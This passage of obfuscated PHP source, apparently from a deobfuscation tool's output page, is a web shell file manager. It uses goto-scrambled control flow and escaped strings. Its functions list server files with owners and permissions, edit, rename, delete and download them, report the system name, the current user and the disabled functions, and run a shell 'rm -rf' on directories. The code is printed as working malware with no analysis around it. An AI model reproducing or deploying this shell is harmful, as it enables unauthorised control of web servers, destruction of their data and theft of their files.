a\40\40\x20\x20\40\40\40\40\x7d\xd\12\15\12\40\40\x20\x20\x20\x20\40\x20\x2e\x63\x6c\x6f\163\145\x3a\150\x6f\166\145\162\x2c\xd\xa\40\40\x20\x20\x20\x20\x20\40\x2e\x63\x6c\x6f\163\x65\x3a\146\x6f\143\x75\x73\x20\173\xd\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\x63\157\x6c\x6f\x72\x3a\x20\142\154\141\143\x6b\x3b\15\12\40\40\x20\40\40\40\40\40\x20\x20\40\x20\164\x65\170\164\55\144\x65\x63\x6f\x72\x61\164\x69\x6f\156\x3a\x20\156\x6f\x6e\x65\73\xd\xa\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\143\x75\162\x73\x6f\x72\x3a\40\160\157\x69\156\x74\x65\x72\73\xd\xa\40\40\40\x20\40\x20\x20\40\175\15\12\15\xa\40\40\x20\x20\x20\x20\x20\x20\x2e\155\157\x64\141\x6c\55\x62\x75\164\x74\157\156\x73\x20\x7b\15\xa\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\164\x65\170\164\x2d\141\154\151\147\x6e\x3a\x20\143\x65\156\x74\145\162\x3b\15\xa\x20\x20\40\40\x20\40\x20\40\x7d\xd\12\xd\12\40\x20\40\40\x20\40\x20\x20\56\x6d\x6f\x64\141\154\x2d\x63\157\156\x74\145\x6e\164\x20\142\165\x74\164\157\x6e\x20\x7b\xd\xa\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\155\x61\162\x67\151\156\72\40\x35\160\170\73\15\12\40\40\40\x20\40\40\40\40\x7d\15\12\xd\12\x20\40\x20\40\x20\40\x20\x20\56\x6d\x6f\x64\x61\x6c\x2d\x63\x6f\x6e\x74\145\156\x74\x20\164\x65\170\x74\141\162\x65\x61\x20\173\15\xa\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\167\x69\144\x74\x68\72\x20\143\x61\154\143\50\61\60\x30\x25\x20\x2d\40\x31\60\160\170\51\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\150\x65\x69\147\150\164\x3a\40\64\x30\60\x70\x78\73\15\xa\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\162\x65\163\151\172\145\72\40\x6e\157\x6e\145\x3b\xd\12\40\40\40\x20\40\40\40\x20\x7d\xd\xa\x20\40\40\40\40\x20\40\x20\x61\40\173\15\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x63\x75\x72\163\x6f\162\72\x20\x70\157\x69\156\x74\x65\162\73\xd\xa\40\x20\x20\x20\40\x20\x20\x20\x7d\15\12\40\40\40\40\x20\x20\x20\x20\141\x3a\150\x6f\166\145\x72\173\15\xa\40\40\x20\40\40\x20\40\40\x20\40\40\40\x63\x6f\x6c\157\162\x3a\144\x61\162\x6b\x73\x6c\141\164\145\x67\162\141\x79\x3b\15\xa\x20\40\40\x20\x20\40\x20\x20\175\xd\12\40\40\x20\x20\x20\40\40\x20\x62\165\164\x74\x6f\156\40\173\15\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x64\151\x73\x70\154\x61\x79\x3a\x20\x69\156\154\151\156\145\55\x62\x6c\157\x63\x6b\x3b\15\12\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\160\141\x64\144\151\x6e\147\x3a\x20\x31\60\160\170\x20\x32\60\x70\x78\73\15\xa\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\142\x61\x63\153\x67\x72\157\165\x6e\x64\55\x63\x6f\x6c\x6f\162\72\40\144\151\x6d\147\x72\x61\x79\x3b\15\12\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x63\157\154\x6f\162\72\x20\x23\146\146\x66\x3b\xd\xa\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\142\x6f\x72\x64\x65\x72\72\40\156\x6f\x6e\x65\73\xd\xa\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\142\x6f\162\144\145\162\x2d\162\x61\x64\x69\165\x73\x3a\x20\x35\160\x78\73\15\xa\40\40\40\40\40\x20\40\40\40\40\40\x20\x74\145\170\164\x2d\x61\x6c\151\x67\x6e\x3a\40\x63\x65\156\164\x65\162\x3b\15\12\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\164\x65\170\x74\x2d\x64\x65\143\x6f\x72\141\x74\151\157\156\72\40\x6e\x6f\x6e\x65\73\15\12\40\40\40\x20\40\40\x20\x20\40\40\40\40\x66\x6f\x6e\x74\x2d\163\151\x7a\x65\72\x20\x31\x36\x70\170\x3b\xd\xa\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x63\165\162\x73\x6f\162\x3a\x20\160\157\151\x6e\x74\145\x72\73\xd\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x74\x72\141\x6e\x73\x69\x74\151\157\x6e\x3a\40\x62\141\143\x6b\x67\162\157\165\156\144\55\143\157\154\157\162\x20\x30\x2e\x33\163\x20\x65\141\163\145\73\15\12\x20\x20\x20\x20\40\40\x20\40\x7d\15\12\x20\x20\40\x20\40\40\40\x20\142\x75\x74\x74\x6f\156\72\x68\157\166\x65\x72\40\x62\165\x74\164\157\156\72\x61\143\164\151\166\145\x20\173\xd\xa\40\40\x20\40\x20\40\40\40\40\x20\40\x20\142\x61\x63\x6b\147\x72\x6f\165\x6e\144\55\143\x6f\154\157\162\x3a\x20\x64\141\162\x6b\x73\x6c\141\164\x65\147\162\141\x79\73\xd\12\x20\40\40\x20\x20\x20\x20\x20\175\15\xa\x20\x20\40\x20\x20\40\x20\x20\x2e\146\151\x6c\x65\55\x69\x6e\160\165\x74\137\137\x69\x6e\160\x75\x74\x20\x7b\15\12\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x77\151\x64\164\150\x3a\x20\x30\x2e\x31\x70\x78\73\15\xa\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\150\145\151\x67\x68\164\72\40\x30\x2e\61\x70\x78\x3b\15\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\157\160\141\143\151\x74\x79\x3a\x20\x30\73\xd\xa\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\157\x76\145\162\x66\154\x6f\167\x3a\40\x68\151\144\144\145\156\x3b\xd\xa\x20\40\40\x20\40\40\40\40\40\x20\x20\40\172\55\151\x6e\144\x65\x78\72\x20\55\x31\73\xd\xa\x20\40\x20\40\40\x20\40\x20\x7d\xd\12\xd\12\x20\x20\40\x20\x20\40\40\x20\56\x66\x69\154\145\55\151\156\x70\165\x74\137\137\x6c\x61\x62\x65\x6c\40\163\166\147\x20\173\xd\12\40\40\x20\40\40\40\x20\40\x20\40\40\40\x68\145\151\x67\x68\x74\x3a\40\61\x36\x70\x78\x3b\15\xa\40\40\40\40\x20\x20\40\40\40\x20\x20\40\x6d\141\162\147\151\x6e\x2d\162\151\147\x68\x74\72\40\x34\160\x78\73\15\xa\40\40\x20\40\x20\x20\40\40\175\xd\12\x20\40\x20\x20\40\x20\x20\x20\56\157\x76\x65\162\x6c\141\x79\x20\x7b\15\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x70\x6f\x73\x69\164\151\157\156\72\40\x66\x69\x78\x65\x64\x3b\15\12\40\40\x20\40\40\x20\40\40\40\x20\x20\40\164\x6f\160\x3a\x20\x30\x3b\xd\xa\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\154\x65\x66\x74\72\x20\x30\73\xd\xa\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\167\151\144\x74\x68\72\40\x31\60\60\45\x3b\xd\xa\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\x68\x65\151\147\150\x74\72\x20\x31\60\x30\45\x3b\15\12\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\142\141\x63\153\x67\162\x6f\x75\x6e\x64\55\143\157\154\157\x72\x3a\40\x72\x67\142\141\x28\x30\54\x20\x30\x2c\x20\x30\54\40\60\56\65\51\x3b\xd\xa\40\x20\40\x20\40\40\x20\x20\40\40\40\40\144\151\163\160\x6c\141\171\72\x20\156\x6f\x6e\x65\73\xd\12\40\40\40\40\x20\40\x20\40\40\x20\x20\40\172\55\x69\x6e\144\145\170\x3a\40\71\x39\x39\71\x3b\xd\12\40\x20\x20\x20\40\40\40\40\x7d\xd\12\xd\12\40\x20\x20\x20\40\40\x20\x20\x2e\157\x76\145\162\154\x61\171\56\163\150\x6f\x77\40\x7b\xd\12\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x64\151\163\x70\154\x61\x79\x3a\40\x62\154\x6f\143\153\x3b\15\xa\x20\40\x20\40\x20\x20\40\x20\175\15\xa\xd\12\40\40\40\x20\x20\40\x20\x20\56\154\157\x61\x64\x65\x72\40\x7b\15\12\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\160\157\163\151\164\x69\157\x6e\x3a\40\x61\142\x73\157\154\x75\x74\x65\x3b\15\12\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\164\157\x70\72\x20\65\60\45\73\xd\12\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x6c\x65\146\x74\72\x20\x35\x30\45\73\15\xa\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\164\162\x61\x6e\x73\x66\x6f\162\155\x3a\x20\x74\x72\141\156\163\x6c\x61\164\x65\50\55\x35\60\45\x2c\40\x2d\x35\x30\x25\x29\x3b\15\12\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\143\x6f\x6c\x6f\162\72\40\167\x68\151\164\145\73\xd\xa\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\146\157\x6e\x74\55\x73\151\172\x65\72\40\62\x34\160\x78\x3b\xd\xa\x20\40\x20\40\x20\x20\40\40\x7d\xd\12\x20\40\40\x20\74\x2f\163\x74\x79\x6c\145\x3e\xd\xa\x3c\x2f\x68\145\x61\144\x3e\xd\12\x3c\142\x6f\x64\171\40\163\164\171\x6c\145\75\x22\x68\145\x69\x67\x68\164\x3a\x20\61\60\60\x25\x3b\x20\x77\151\x64\164\x68\72\40\61\x30\60\45\42\76\xd\xa\x3c\x64\x69\x76\40\x63\x6c\x61\163\x73\x3d\x22\x6f\x76\x65\162\154\141\171\42\40\x69\144\75\x22\157\x76\x65\x72\154\141\x79\x22\x3e\xd\xa\40\40\x20\x20\x3c\x64\151\x76\40\143\154\x61\x73\x73\75\42\x6c\x6f\x61\x64\145\x72\42\76\x4c\x6f\141\144\151\x6e\147\x2e\x2e\56\74\57\x64\151\166\76\xd\xa\x3c\x2f\144\151\166\x3e\xd\xa"; goto O961799327615937; O583569576009201: exit; goto O872742123208085; O917861373169026: $O140689804340991 = @O821909410654961(); goto O290219010592892; O672563268830823: O953301279051404: goto O650792284916056; O509253786593473: goto O281729583081178; goto O428341872929034; O636440853297685: echo $O911780980490314; goto O848461136264814; O609908090908252: echo $O911780980490314; goto O079724665713491; O790266816415890: function O199134340056157()
{
return php_uname();
} goto O132589228593536; O743153915458711: function O031684522675576($O039576280896189, $O837213299817540)
{
goto O853067981176089;
O267761640732494: return implode("\x2f", $O970054109502748);
goto O803071784224222;
O263488432674432: O499952419492603: goto O238433726844467;
O129685406657878: foreach ($O250426899844196 as $O954033944428973) {
goto O047245652248787;
O038015745548279: O043360069764467: goto O514909133428341;
O514909133428341: array_pop($O970054109502748);
goto O837457291154651;
O425370854536722: O466102071095062: goto O239446459489551;
O837457291154651: O655259875030525: goto O425370854536722;
O609634716019262: $O970054109502748[] = $O954033944428973;
goto O631149823844259;
O047245652248787: if ($O954033944428973 === "\56\x2e") {
goto O043360069764467;
}
goto O609634716019262;
O631149823844259: goto O655259875030525;
goto O038015745548279;
O239446459489551:
}
goto O199256361843199;
O749255445346644: return implode("\57", $O938090733250791);
goto O573493744125241;
O789910371100841: O257061308195880: goto O967066208992969;
O238433726844467: return "\57";
goto O582348250641892;
O582348250641892: O962387920913429: goto O736355832365445;
O803071784224222: goto O962387920913429;
goto O351100079922874;
O250600917980662: $O970054109502748 = explode("\57", rtrim(str_replace("\x5c", "\57", $O039576280896189), "\x2f"));
goto O129685406657878;
O853067981176089: if ($O837213299817540 === "\x2e\56\x2f") {
goto O667347161518379;
}
goto O733281503988252;
O573493744125241: goto O962387920913429;
goto O789910371100841;
O199256361843199: O508503839012768: goto O267761640732494;
O578665789378378: array_pop($O938090733250791);
goto O749255445346644;
O339951425904804: if ($O837213299817540 === "\57") {
goto O499952419492603;
}
goto O982734940479443;
O784535484343881: $O938090733250791 = explode("\57", rtrim(str_replace("\134", "\57", $O039576280896189), "\x2f"));
goto O578665789378378;
O351100079922874: O667347161518379: goto O784535484343881;
O933916731578385: goto O962387920913429;
goto O263488432674432;
O982734940479443: $O250426899844196 = explode("\57", rtrim($O837213299817540, "\57"));
goto O250600917980662;
O967066208992969: return $O039576280896189;
goto O933916731578385;
O733281503988252: if ($O837213299817540 === "\x2e\57") {
goto O257061308195880;
}
goto O339951425904804;
O736355832365445:
} goto O790266816415890; O587767506976394: O677399710667651: goto O651022533046456; O336257775033761: if (is_dir($O661345000717652)) {
goto O269739067495622;
} goto O513990495294666; O671221038715586: function O780999200951570($O325919125965414)
{
$O652118403905045 = file_get_contents($O325919125965414);
return "\74\x64\x69\x76\40\151\144\75\x22\155\x6f\x64\x61\x6c\42\x20\x63\154\141\x73\x73\x3d\42\155\157\x64\141\154\42\x3e\xd\12\40\40\40\x20\x3c\144\151\166\x20\x63\154\141\x73\x73\75\x22\x6d\x6f\x64\141\154\55\143\x6f\x6e\x74\145\x6e\164\42\76\15\xa\40\40\x20\40\40\40\40\40\74\x73\160\x61\156\x20\x6f\156\143\154\x69\143\x6b\x3d\42\x64\x6f\x63\x75\x6d\145\x6e\x74\x2e\x67\145\x74\105\154\x65\x6d\x65\156\x74\102\x79\111\x64\50\x27\x34\155\157\144\x61\x6c\x27\x29\x2e\151\x6e\156\145\x72\110\x54\115\114\x20\75\40\47\47\x22\x20\143\154\x61\x73\x73\x3d\42\x63\x6c\157\163\x65\42\76\x26\164\151\x6d\145\x73\73\74\57\x73\160\141\156\76\xd\12\40\x20\40\40\40\40\40\x20\74\151\x6e\160\165\164\x20\164\x79\x70\x65\x3d\42\150\151\x64\144\145\x6e\42\40\x69\144\x3d\x22\146\x69\154\x65\156\x61\155\x65\x22\40\x6e\141\155\x65\x3d\x22\x66\x69\x6c\x65\156\x61\155\x65\42\40\166\141\x6c\x75\x65\x3d\x22".$O325919125965414."\42\76\15\12\x20\40\x20\40\x20\x20\40\x20\74\x74\145\x78\164\x61\x72\145\x61\x20\x69\144\75\42\x66\151\154\x65\x63\157\156\x74\x65\156\164\x22\76".htmlspecialchars($O652118403905045)."\x3c\57\164\145\x78\164\x61\162\x65\x61\x3e\15\12\40\40\x20\40\40\40\x20\40\74\x64\151\166\40\143\x6c\141\x73\x73\x3d\x22\x6d\x6f\x64\x61\x6c\55\x62\x75\164\164\157\156\x73\x22\x3e\15\12\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\x3c\x62\x75\164\164\x6f\156\x20\151\x64\75\42\163\141\x76\145\102\x74\156\x22\x20\x6f\156\x63\x6c\151\x63\153\x3d\42\163\166\x66\50\x29\x22\x3e\123\141\x76\145\x3c\57\x62\x75\164\164\157\x6e\76\15\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x3c\x62\x75\x74\164\x6f\156\x20\x74\x79\x70\145\75\x22\142\165\164\x74\157\156\x22\40\157\156\x63\x6c\151\143\153\x3d\x22\144\x6f\143\x75\155\x65\x6e\164\x2e\x67\x65\164\105\x6c\145\155\145\x6e\x74\102\x79\111\144\50\47\x34\x6d\x6f\x64\x61\154\x27\51\x2e\x69\156\156\145\x72\x48\124\115\114\40\x3d\x20\47\x27\x22\76\x43\141\156\x63\145\x6c\x3c\57\142\165\164\164\157\156\76\xd\xa\40\40\40\x20\x20\40\40\40\74\57\x64\151\166\x3e\15\xa\x20\40\40\40\x3c\57\x64\x69\x76\76\xd\12\74\57\x64\151\166\x3e";
} goto O256266328766972; O479631428339949: echo "\74\x2f\144\151\x76\x3e\xd\12\40\x20\x20\40\40\x20\x20\x20\74\x64\151\x76\76\104\x6f\143\153\145\162\40\x20\x20\40\40\40\72\40"; goto O778488552058858; O855026727856210: echo "\74\x2f\144\x69\x76\76\xd\12\x20\40\x20\x20\x20\x20\x20\x20\74\x64\151\166\76\x44\111\123\101\102\x4c\105\x20\106\125\x4e\103\72\40"; goto O600300636853319; O508184895920916: echo $O140689804340991; goto O928807225114919; O344385154203033: http_response_code(400); goto O097513066113884; O688814201988267: function O480521024950907()
{
goto O024131937675487;
O127997928623992: array_pop($O001591742834896);
goto O102463610542863;
O024131937675487: $O791331770667186 = '';
goto O138662503024502;
O154848797858829: return $O791331770667186;
goto O457773573711126;
O650064349444105: O380881635875552: goto O154848797858829;
O969725534358746: foreach (o002248066211344() as $O325919125965414) {
goto O250444549277659;
O494753041188714: O480153284033840: goto O696886207393493;
O409054876851486: O357606565409385: goto O819019296644504;
O397625064819130: goto O357606565409385;
goto O494753041188714;
O392401758553919: if (is_file($O338339439359708)) {
goto O480153284033840;
}
goto O887158249578265;
O438109518725930: O170870399507876: goto O412873006994681;
O250444549277659: $O338339439359708 = $_SESSION["\x66\155\x44\x69\162\x65\143\x74\157\162\x79"]."\x2f".$O325919125965414;
goto O392401758553919;
O696886207393493: $O964697395892087 = "\360\x9f\223\204\40\74\x61\40\40\157\156\x63\x6c\x69\143\153\x3d\47\x76\x66\50\42".$O338339439359708."\42\51\47\x3e".$O325919125965414."\x3c\57\141\76";
goto O409054876851486;
O887158249578265: $O964697395892087 = "\360\x9f\223\x81\40\x3c\x61\40\40\157\156\143\154\151\143\153\75\x27\x66\155\124\x61\142\154\x65\x28\42".$O338339439359708."\x22\x29\47\76".$O325919125965414."\74\57\141\76";
goto O397625064819130;
O819019296644504: $O791331770667186 .= "\x3c\x74\162\x3e\74\x74\x64\x20\163\x74\171\154\x65\75\42\x74\145\x78\x74\x2d\x61\x6c\151\147\156\72\40\x6c\145\146\164\x22\x3e".$O964697395892087."\74\x2f\164\x64\76\74\164\144\76".o353954368716007(filesize($O338339439359708))."\74\x2f\164\x64\76\74\164\x64\76".date("\x64\55\x6d\55\131\40\x67\x3a\x69\72\x73", filemtime($O338339439359708))."\x3c\57\164\144\76\74\x74\144\x3e".O810496288220638(fileowner($O338339439359708))."\50".o321385932685852(filegroup($O338339439359708))."\x29\x3c\57\x74\x64\76\74\x74\144\x20\x73\x74\x79\154\145\x3d\x22\x63\x6f\x6c\x6f\x72\72".(is_writeable($O338339439359708) ? "\x23\x30\64\x38\60\61\x32" : "\x23\141\61\60\x30\60\60")."\42\x3e".O968393204644379($O338339439359708)."\74\x2f\164\x64\76\74\164\x64\76\74\141\40\x6f\156\143\x6c\x69\143\153\x3d\42\x72\145\156\50\47".$O325919125965414."\x27\x29\x22\40\x3e\122\x65\x6e\x61\155\145\x3c\x2f\141\x3e\40\174\40\74\141\40\x6f\x6e\x63\154\151\143\x6b\x3d\42\162\145\155\50\x27".$O325919125965414."\x27\x29\42\x20\x3e\122\145\155\x6f\166\145\x3c\57\141\76".(is_file($O338339439359708) ? "\x20\174\40\74\141\x20\157\156\x63\154\x69\x63\153\x3d\42\x64\x6c\x28\x27".$O325919125965414."\47\51\x22\x20\76\x44\x6f\167\156\154\157\x61\144\74\57\141\76" : '')."\x3c\x2f\164\x64\76\x3c\x2f\164\x72\76";
goto O438109518725930;
O412873006994681:
}
goto O650064349444105;
O138662503024502: $O001591742834896 = explode("\x2f", $_SESSION["\146\x6d\x44\x69\162\145\143\164\x6f\162\171"]);
goto O127997928623992;
O100931195337129: $O791331770667186 .= "\74\x74\x72\x3e\x3c\164\x64\x20\163\164\x79\154\x65\75\x22\164\145\x78\x74\55\141\x6c\151\147\156\72\40\154\x65\x66\164\x22\x3e".$O964697395892087."\x3c\57\x74\x64\76\x3c\x2f\x74\x72\x3e";
goto O969725534358746;
O102463610542863: $O001591742834896 = count($O001591742834896) ? implode("\57", $O001591742834896) : "\57";
goto O090678494755246;
O090678494755246: $O964697395892087 = "\xf0\x9f\223\201\x20\x3c\x61\x20\40\x6f\156\143\154\x69\143\x6b\x3d\x27\x66\x6d\124\141\x62\x6c\x65\x28\x22".$O001591742834896."\x22\51\47\x3e\x2e\56\x3c\x2f\141\76";
goto O100931195337129;
O457773573711126:
} goto O671221038715586; O412447077459491: echo @get_current_user(); goto O289050020316610; O781963994693568: header("\103\x61\x63\150\x65\x2d\103\157\156\x74\x72\157\154\72\x20\155\165\163\164\x2d\162\145\166\x61\154\151\x64\141\x74\x65"); goto O870548897997164; O572807631499805: echo isset($_SESSION["\x6c\157\143\153"]) ? "\142\154\157\143\153" : "\156\157\x6e\x65"; goto O467512000648235; O975026152305840: @O363302479115642("\162\155\x20\x2d\162\x66\x20".$O661345000717652); goto O692141123938037; O193826859326990: if ($O228630402481115) {
goto O970879324369578;
} goto O309738216111402; O262425725894022: $O444244484811129 = $_POST["\x64\x6f\167\156\x6c\157\x61\x64"]; goto O248800021649502; O079723788353787: O199279032208890: goto O324452031022926; O487134585986433: $O242247846642569 = $_POST["\163\141\x76\145\x5f\x66\x69\x6c\x65"]; goto O262425725894022; O603789192799214: function o321385932685852($O121628722760153 = null)
{
goto O759400962955558;
O525777791531818: if (!function_exists("\x70\x6f\x73\x69\x78\137\x67\145\164\145\147\151\144")) {
$O121628722760153 = @getmygid();
} else {
$O121628722760153 = posix_getegid();
}
goto O864340639348728;
O759400962955558: if (isset($O121628722760153)) {
goto O716349442666604;
}
goto O525777791531818;
O864340639348728: O716349442666604: goto O928274742180814;
O953191280872532: $O730252784401428 = @posix_getgrgid($O121628722760153);
goto O033925179117850;
O928274742180814: if (!function_exists("\160\157\163\x69\170\x5f\x67\145\164\147\x72\x67\151\144")) {
goto O333114827012591;
}
goto O046586501456910;
O033925179117850: $O125675124828290->name = is_array($O730252784401428) ? $O730252784401428["\x6e\141\155\145"] : '';
goto O315002626649714;
O315002626649714: return $O125675124828290->name;
goto O969174295248212;
O046586501456910: $O125675124828290 = new stdClass();
goto O953191280872532;
O701039205631686: return $O121628722760153;
goto O639125802157924;
O969174295248212: O333114827012591: goto O701039205631686;
O639125802157924:
} goto O245426740951091; O560097982476935: echo "\74\x2f\x62\157\x64\x79\x3e\xd\xa\74\x2f\150\x74\155\x6c";
Function Calls
None |
Stats
MD5 | b849ee23dc383125d5e7903ac604c508 |
Eval Count | 0 |
Decode Time | 108 ms |